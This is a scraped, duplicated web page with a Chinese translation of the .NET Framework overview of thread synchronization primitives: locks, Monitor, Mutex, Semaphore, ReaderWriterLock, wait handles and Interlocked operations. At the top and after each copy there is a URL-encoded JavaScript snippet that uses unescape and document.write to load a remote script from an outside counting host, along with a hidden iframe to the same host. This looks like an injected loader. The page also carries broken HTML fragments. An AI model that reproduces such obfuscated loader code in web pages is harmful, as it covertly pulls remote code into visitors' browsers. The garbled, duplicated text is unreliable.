&nbs
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
.NET Framework 提供了一系列同步基元来控制线程交互并避免争用条件。这可大致分为三个类别:锁定、通知和联锁操作。
上述类别的定义并非是绝对的:有些同步机制具有多个类别的特征;一次释放一个线程的事件的功能类似于锁定;任何锁定的释放都可看作一个信号;而联锁操作可用于构造锁定。但是,这些类别仍然是有用的。
记住线程同步是协作这一点非常重要。只要有一个线程避开同步机制直接访问受保护的资源,该同步机制就不是有效的。
锁定
锁向一个线程一次提供一个资源的控制功能,或者向指定数目的线程提供此功能。请求正在使用中的独占锁的线程会被阻止,直到该锁变为可用为止。
独占锁
锁定的最简单的形式是 C# 的
lock
语句(在 Visual Basic 中为
SyncLock
),该语句可控制对代码块的访问。这种块通常称为临界区。
lock
语句使通过使用
Monitor
类的
Enter
和
Exit
方法实现的,它使用
try…catch…finally
确保该锁被释放。
通常情况下,使用
lock
语句保护小代码块并且不跨越多个方法是使用
Monitor
类的最佳方法。
Monitor
类功能强大,但是容易形成孤立锁和死锁。
Monitor 类
Monitor
类提供了附加功能,可结合
lock
语句使用:
TryEnter
方法允许当前被阻止,正在等待资源的线程在指定时间间隔之后放弃。它返回一个指示成功或失败的布尔值,可用于检测和避免潜在的死锁。
Wait
方法由临界区中的线程调用。它放弃对资源的控制并阻止,直到该资源重新可用为止。
Pulse
和
PulseAll
方法允许要释放锁或调用
Wait
的线程将一个或多个线程放入就绪队列,以使它们能够获取锁。
Wait
方法重载的超时允许等待线程进入就绪队列。
如果用于锁的对象派生自
MarshalByRefObject
,则
Monitor
类可在多个应用程序域中提供锁定。
Monitor
具有线程关联。也就是说,进入监视器的线程必须通过调用
Exit
或
Wait
才能退出。
Monitor
类不可实例化。其方法是静态(在 Visual Basic 中为
Shared
)方法,用于可实例化的锁对象。
有关概念性概述,请参见
监视器
。
Mutex 类
线程通过调用其
WaitOne
方法的重载请求
Mutex
。提供了具有超时的重载,以便允许线程放弃等待。与
Monitor
类不同,mutex 可以是局部的,也可以是全局的。全局 mutex(也称为命名的 mutex)在整个操作系统中可见,可用于在多个应用程序域或进程中同步线程。局部 mutex 派生自
MarshalByRefObject
,可以跨应用程序域边界使用。
此外,
Mutex
派生自
WaitHandle
,这意味着它可用于
WaitHandle
提供的通知机制,如
WaitAll
、
WaitAny
和
SignalAndWait
方法。
与
Monitor
一样,
Mutex
具有线程关联。与
Monitor
不同,
Mutex
是可实例化的对象。
有关概念性概述,请参见
Mutex
。
其他锁
锁定不必是独占的。允许有限数目的线程并发访问某个资源通常十分有用。信号量和读写器锁旨在控制此类池资源访问。
ReaderWriterLock 类
ReaderWriterLock
类用于更改数据的线程(编写器)必须独占访问某个资源的情形。如果编写器不是活动的,则任何数量的读取器均可通过调用
AcquireReaderLock
方法访问该资源。一旦有线程调用
AcquireWriterLock
方法,后续读取器请求则会阻止,直到所有现有读取器均释放了该锁,并且有一个编写器获取并释放了该锁为止。
ReaderWriterLock
具有线程关联。
有关概念性概述,请参见
读取器/编写器锁
。
Semaphore 类
Semaphore
类允许指定数目的线程访问某个资源。请求该资源的其他线程会一直阻止,直到某个线程释放信号量为止。
与
Mutex
类一样,
Semaphore
派生自
WaitHandle
。
Semaphore
也与
Mutex
一样,可以是局部的,也可以是全局的。它可以跨应用程序域边界使用。
与
Monitor
、
Mutex
和
ReaderWriterLock
不一样,
Semaphore
不具有线程关联。这意味着它可以用于一个线程获取信号量而另一个线程释放该信号量的情形。
有关概念性概述,请参见
信号量
。
通知
等待另一个线程的信号的最简单方法是调用
Join
方法,该方法会一直阻止,直到另一个线程完成为止。
Join
有两个重载方法,这两个方法允许阻止的线程在等待指定时间间隔之后跳出等待。
等待句柄提供了更为丰富的等待和通知功能。
等待句柄
等待句柄派生自
WaitHandle
类,后者又派生自
MarshalByRefObject
。因此,等待句柄可用于跨应用程序域边界同步线程的活动。
通过调用实例方法
WaitOne
或者静态方法
WaitAll
、
WaitAny
或
SignalAndWait
中的一个方法,线程可由等待句柄阻止。它们的释放方式取决于调用的方法以及等待句柄的种类。
有关概念性概述,请参见
等待句柄
。
事件等待句柄
事件等待句柄包括
EventWaitHandle
类及其派生类
AutoResetEvent
和
ManualResetEvent
。当通过调用
Set
方法或使用
SignalAndWait
方法通知事件等待句柄时,线程会从事件等待句柄释放。
事件等待句柄要么自动重置自身(类似于每次得到通知时只允许一个线程通过的旋转门),要么必须手动重置(类似于在通知前一直关闭,有人将其关闭前则一直打开的大门)。顾名思义,
AutoResetEvent
和
ManualResetEvent
分别表示前者和后者。
EventWaitHandle
可表示这两种类型的事件,并且既可以是局部的也可以是全局的。派生类
AutoResetEvent
和
ManualResetEvent
始终是局部的。
事件等待句柄不具有线程关联。任何线程都可以通知事件等待句柄。
有关概念性概述,请参见
EventWaitHandle、AutoResetEvent 和 ManualResetEvent
。
Mutex 和 Semaphore 类
因为
Mutex
和
Semaphore
类派生自
WaitHandle
,所以它们可用于
WaitHandle
的静态方法。例如,线程可以使用
WaitAll
方法等待,直到满足以下三个条件为止:
EventWaitHandle
接收到通知,
Mutex
已释放,
Semaphore
已释放。类似地,线程可以使用
WaitAny
方法等待,直到满足上述所有条件为止。
对于
Mutex
或
Semaphore
,接收到通知即意味着被释放。如果上述两个类型之一用作
SignalAndWait
方法的第一个参数,该类型即被释放。对于具有线程关联的
Mutex
,如果进行调用的线程不具有该 mutex,则会引发异常。如前所述,信号量不具有线程关联。
联锁操作
联锁操作是由
Interlocked
类的静态方法对某个内存位置执行的简单原子操作。这些原子操作包括添加、递增和递减、交换、依赖于比较的条件交换,以及 32 位平台上的 64 位值的读取操作。
注意
原子性的保证仅限于单个操作;如果必须将多个操作作为一个单元执行,则必须使用更粗粒度的同步机制。
尽管这些操作中没有一个是锁或信号,但它们可用于构造锁和信号。因为它们是 Windows 操作系统固有的,因此联锁操作的执行速度非常快。
联锁操作可用于可变内存保证,以编写展示功能强大的非阻止并发的应用程序,但是,它们需要复杂的低级别编程,因此大多数情况下简单锁是更好的选择。
有关概念性概述,请参见
互锁操作
。
请参见
概念
为多线程处理同步数据
监视器
Mutex
信号量
等待句柄
互锁操作
读取器/编写器锁
其他资源
EventWaitHandle、AutoResetEvent 和 ManualResetEvent
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
p;
HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
同步基元概述
.NET Framework 提供了一系列同步基元来控制线程交互并避免争用条件。这可大致分为三个类别:锁定、通知和联锁操作。
上述类别的定义并非是绝对的:有些同步机制具有多个类别的特征;一次释放一个线程的事件的功能类似于锁定;任何锁定的释放都可看作一个信号;而联锁操作可用于构造锁定。但是,这些类别仍然是有用的。
记住线程同步是协作这一点非常重要。只要有一个线程避开同步机制直接访问受保护的资源,该同步机制就不是有效的。
锁定
锁向一个线程一次提供一个资源的控制功能,或者向指定数目的线程提供此功能。请求正在使用中的独占锁的线程会被阻止,直到该锁变为可用为止。
独占锁
锁定的最简单的形式是 C# 的
lock
语句(在 Visual Basic 中为
SyncLock
),该语句可控制对代码块的访问。这种块通常称为临界区。
lock
语句使通过使用
Monitor
类的
Enter
和
Exit
方法实现的,它使用
try…catch…finally
确保该锁被释放。
通常情况下,使用
lock
语句保护小代码块并且不跨越多个方法是使用
Monitor
类的最佳方法。
Monitor
类功能强大,但是容易形成孤立锁和死锁。
Monitor 类
Monitor
类提供了附加功能,可结合
lock
语句使用:
TryEnter
方法允许当前被阻止,正在等待资源的线程在指定时间间隔之后放弃。它返回一个指示成功或失败的布尔值,可用于检测和避免潜在的死锁。
Wait
方法由临界区中的线程调用。它放弃对资源的控制并阻止,直到该资源重新可用为止。
Pulse
和
PulseAll
方法允许要释放锁或调用
Wait
的线程将一个或多个线程放入就绪队列,以使它们能够获取锁。
Wait
方法重载的超时允许等待线程进入就绪队列。
如果用于锁的对象派生自
MarshalByRefObject
,则
Monitor
类可在多个应用程序域中提供锁定。
Monitor
具有线程关联。也就是说,进入监视器的线程必须通过调用
Exit
或
Wait
才能退出。
Monitor
类不可实例化。其方法是静态(在 Visual Basic 中为
Shared
)方法,用于可实例化的锁对象。
有关概念性概述,请参见
监视器
。
Mutex 类
线程通过调用其
WaitOne
方法的重载请求
Mutex
。提供了具有超时的重载,以便允许线程放弃等待。与
Monitor
类不同,mutex 可以是局部的,也可以是全局的。全局 mutex(也称为命名的 mutex)在整个操作系统中可见,可用于在多个应用程序域或进程中同步线程。局部 mutex 派生自
MarshalByRefObject
,可以跨应用程序域边界使用。
此外,
Mutex
派生自
WaitHandle
,这意味着它可用于
WaitHandle
提供的通知机制,如
WaitAll
、
WaitAny
和
SignalAndWait
方法。
与
Monitor
一样,
Mutex
具有线程关联。与
Monitor
不同,
Mutex
是可实例化的对象。
有关概念性概述,请参见
Mutex
。
其他锁
锁定不必是独占的。允许有限数目的线程并发访问某个资源通常十分有用。信号量和读写器锁旨在控制此类池资源访问。
ReaderWriterLock 类
ReaderWriterLock
类用于更改数据的线程(编写器)必须独占访问某个资源的情形。如果编写器不是活动的,则任何数量的读取器均可通过调用
AcquireReaderLock
方法访问该资源。一旦有线程调用
AcquireWriterLock
方法,后续读取器请求则会阻止,直到所有现有读取器均释放了该锁,并且有一个编写器获取并释放了该锁为止。
ReaderWriterLock
具有线程关联。
有关概念性概述,请参见
读取器/编写器锁
。
Semaphore 类
Semaphore
类允许指定数目的线程访问某个资源。请求该资源的其他线程会一直阻止,直到某个线程释放信号量为止。
与
Mutex
类一样,
Semaphore
派生自
WaitHandle
。
Semaphore
也与
Mutex
一样,可以是局部的,也可以是全局的。它可以跨应用程序域边界使用。
与
Monitor
、
Mutex
和
ReaderWriterLock
不一样,
Semaphore
不具有线程关联。这意味着它可以用于一个线程获取信号量而另一个线程释放该信号量的情形。
有关概念性概述,请参见
信号量
。
通知
等待另一个线程的信号的最简单方法是调用
Join
方法,该方法会一直阻止,直到另一个线程完成为止。
Join
有两个重载方法,这两个方法允许阻止的线程在等待指定时间间隔之后跳出等待。
等待句柄提供了更为丰富的等待和通知功能。
等待句柄
等待句柄派生自
WaitHandle
类,后者又派生自
MarshalByRefObject
。因此,等待句柄可用于跨应用程序域边界同步线程的活动。
通过调用实例方法
WaitOne
或者静态方法
WaitAll
、
WaitAny
或
SignalAndWait
中的一个方法,线程可由等待句柄阻止。它们的释放方式取决于调用的方法以及等待句柄的种类。
有关概念性概述,请参见
等待句柄
。
事件等待句柄
事件等待句柄包括
EventWaitHandle
类及其派生类
AutoResetEvent
和
ManualResetEvent
。当通过调用
Set
方法或使用
SignalAndWait
方法通知事件等待句柄时,线程会从事件等待句柄释放。
事件等待句柄要么自动重置自身(类似于每次得到通知时只允许一个线程通过的旋转门),要么必须手动重置(类似于在通知前一直关闭,有人将其关闭前则一直打开的大门)。顾名思义,
AutoResetEvent
和
ManualResetEvent
分别表示前者和后者。
EventWaitHandle
可表示这两种类型的事件,并且既可以是局部的也可以是全局的。派生类
AutoResetEvent
和
ManualResetEvent
始终是局部的。
事件等待句柄不具有线程关联。任何线程都可以通知事件等待句柄。
有关概念性概述,请参见
EventWaitHandle、AutoResetEvent 和 ManualResetEvent
。
Mutex 和 Semaphore 类
因为
Mutex
和
Semaphore
类派生自
WaitHandle
,所以它们可用于
WaitHandle
的静态方法。例如,线程可以使用
WaitAll
方法等待,直到满足以下三个条件为止:
EventWaitHandle
接收到通知,
Mutex
已释放,
Semaphore
已释放。类似地,线程可以使用
WaitAny
方法等待,直到满足上述所有条件为止。
对于
Mutex
或
Semaphore
,接收到通知即意味着被释放。如果上述两个类型之一用作
SignalAndWait
方法的第一个参数,该类型即被释放。对于具有线程关联的
Mutex
,如果进行调用的线程不具有该 mutex,则会引发异常。如前所述,信号量不具有线程关联。
联锁操作
联锁操作是由
Interlocked
类的静态方法对某个内存位置执行的简单原子操作。这些原子操作包括添加、递增和递减、交换、依赖于比较的条件交换,以及 32 位平台上的 64 位值的读取操作。
注意
原子性的保证仅限于单个操作;如果必须将多个操作作为一个单元执行,则必须使用更粗粒度的同步机制。
尽管这些操作中没有一个是锁或信号,但它们可用于构造锁和信号。因为它们是 Windows 操作系统固有的,因此联锁操作的执行速度非常快。
联锁操作可用于可变内存保证,以编写展示功能强大的非阻止并发的应用程序,但是,它们需要复杂的低级别编程,因此大多数情况下简单锁是更好的选择。
有关概念性概述,请参见
互锁操作
。
请参见
概念
为多线程处理同步数据
监视器
Mutex
信号量
等待句柄
互锁操作
读取器/编写器锁
其他资源
EventWaitHandle、AutoResetEvent 和 ManualResetEvent
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
p;